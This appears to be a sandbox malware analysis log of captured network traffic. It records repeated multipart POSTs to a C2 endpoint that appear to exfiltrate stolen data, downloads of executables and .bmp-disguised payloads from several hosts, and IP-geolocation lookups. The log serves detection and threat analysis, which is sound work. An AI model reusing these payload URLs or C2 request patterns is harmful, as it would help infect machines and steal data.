Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 185.172.128.170Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"files------IEBAAFCAFCBKFHJJJKKF--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKFHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCGHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGIHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFHHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHDBGHJKFIDHJJJEBKHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFHHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHDBGHJKFIDHJJJEBKHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBKJKJKKJDGDGDGIDGHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFHHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBKKEBKEBFCAAAEGDHHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGIHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDBGHCBAEGCBFHJEBFIHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHIHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHCHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBKKEBKEBFCAAAEGDHHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEGHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBAHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 185.172.128.170Content-Length: 116355Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.172.128.170Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="message"jbdtaijovg------BKJDGCGDAAAKECAKKJDA--
Source: global traffic	HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.149
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.149
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.149
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ssl/crt.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: lop.foxesjoy.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/builddoc.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: kurd.computerCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-AliveCookie: _subid=38akcjk2e8lg2; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; _token=uuid_38akcjk2e8lg2_38akcjk2e8lg2665044ce24fd99.54897045
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: f.123654987.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /var/www/keitaro/post/File_294/setup294.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-AliveCookie: _subid=38akcjk2e8lg3; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; _token=uuid_38akcjk2e8lg3_38akcjk2e8lg3665044d08d1742.67470230
Source: global traffic	HTTP traffic detected: GET /doc863235369_679548730?hash=VLR7cQ444BmBjXLp6la3lUFGFg05ZJB7nkcmssw9Kvz&dl=1NJlbpp4OAVyDAr1uKZWHdqzidK1oz5VZ5ub6orZHcP&api=1&no_preview=1#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwKar7u7Vp3l2dMCuYUwn0vqVroE0voOrsaN1719tcchE2pJ4nDtRX4j2DtEPIi3H17jMoIXTJ8zfYSG59wyRLl4e9qdl0CyQiw_ErgQQEHUCRd047rL-Yl41rLpRt_bmYQ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXnvMo2rYan1ud8tt9Muz7f4srpOpg5pk8&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGeFneQ1ShZz8YDtAOk4NoUJHmfXbyHjg0&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jJ211HyIyqSgoQJ0PJbMG4qZVQeMGF6VVE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww12 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72ywkW7u7PbZtLlsjRwOLHc5jbY8rzWiw&api=1&no_preview=1#015 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c237231/u5294803/docs/d48/577c681b7b2d/xfile.bmp?extra=dYdwrl7550ZsVpDpI4edqrBBWzO62vW2JfAM58VQJEAq1f1u5sRJ-oLSyg7Zpabnwn07YGQJoIh1kqXr4Gqg3GPBO6NvrKJxKvrKzCgnPDESwpUZNyRnnX0rJt6T0vETt-BdDdVw9Rc HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-22.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d58/ae5f17aaecea/crypted.bmp?extra=2KtOsB7RPudhbLUiz0Fys2PnIlSBTnlmpq43sc12T9y5CND5ezdfQbzCDXj4m2UqxmVW2xtpV4S3JDPliqUnfG4acaoLrf78ko6IxDOXK4l5leXznH5kK5CQ_NjfWDpY9abJBbSlfio HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5tezNI2nYywbtZUDfgtE1vvaKnaRV9Z4&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?extra=SFJQpepKYVBEpZ9-a9sx0fEFfCvtpM1ZI1QeNmMqjWC-GwKgYChdG8ruOMIBbckkR_3ALqVMa2SKrfLtlfcGDlIfuI8GTvUeIity5hjubwsuTTXVmp4JW2WtG0UfzcNwNBymvAVuE8o HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04m9JP6DOfrtJ6pTpZKziindC961cGIVg&api=1&no_preview=1#file2005 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cacheCookie: remixlang=3; remixstlid=9065638397738796067_mfs69AtQEeKIXQUS79tZSbghU1oh3qYdyhMXjJRmnLX; remixir=1
Source: global traffic	HTTP traffic detected: GET /c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreudx3azSG-PMeLmWuk67Q85UjbCer331Fgc HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-22.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1aFYp7.mp3 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1pRXr7.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /1BV4j7.mp4 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
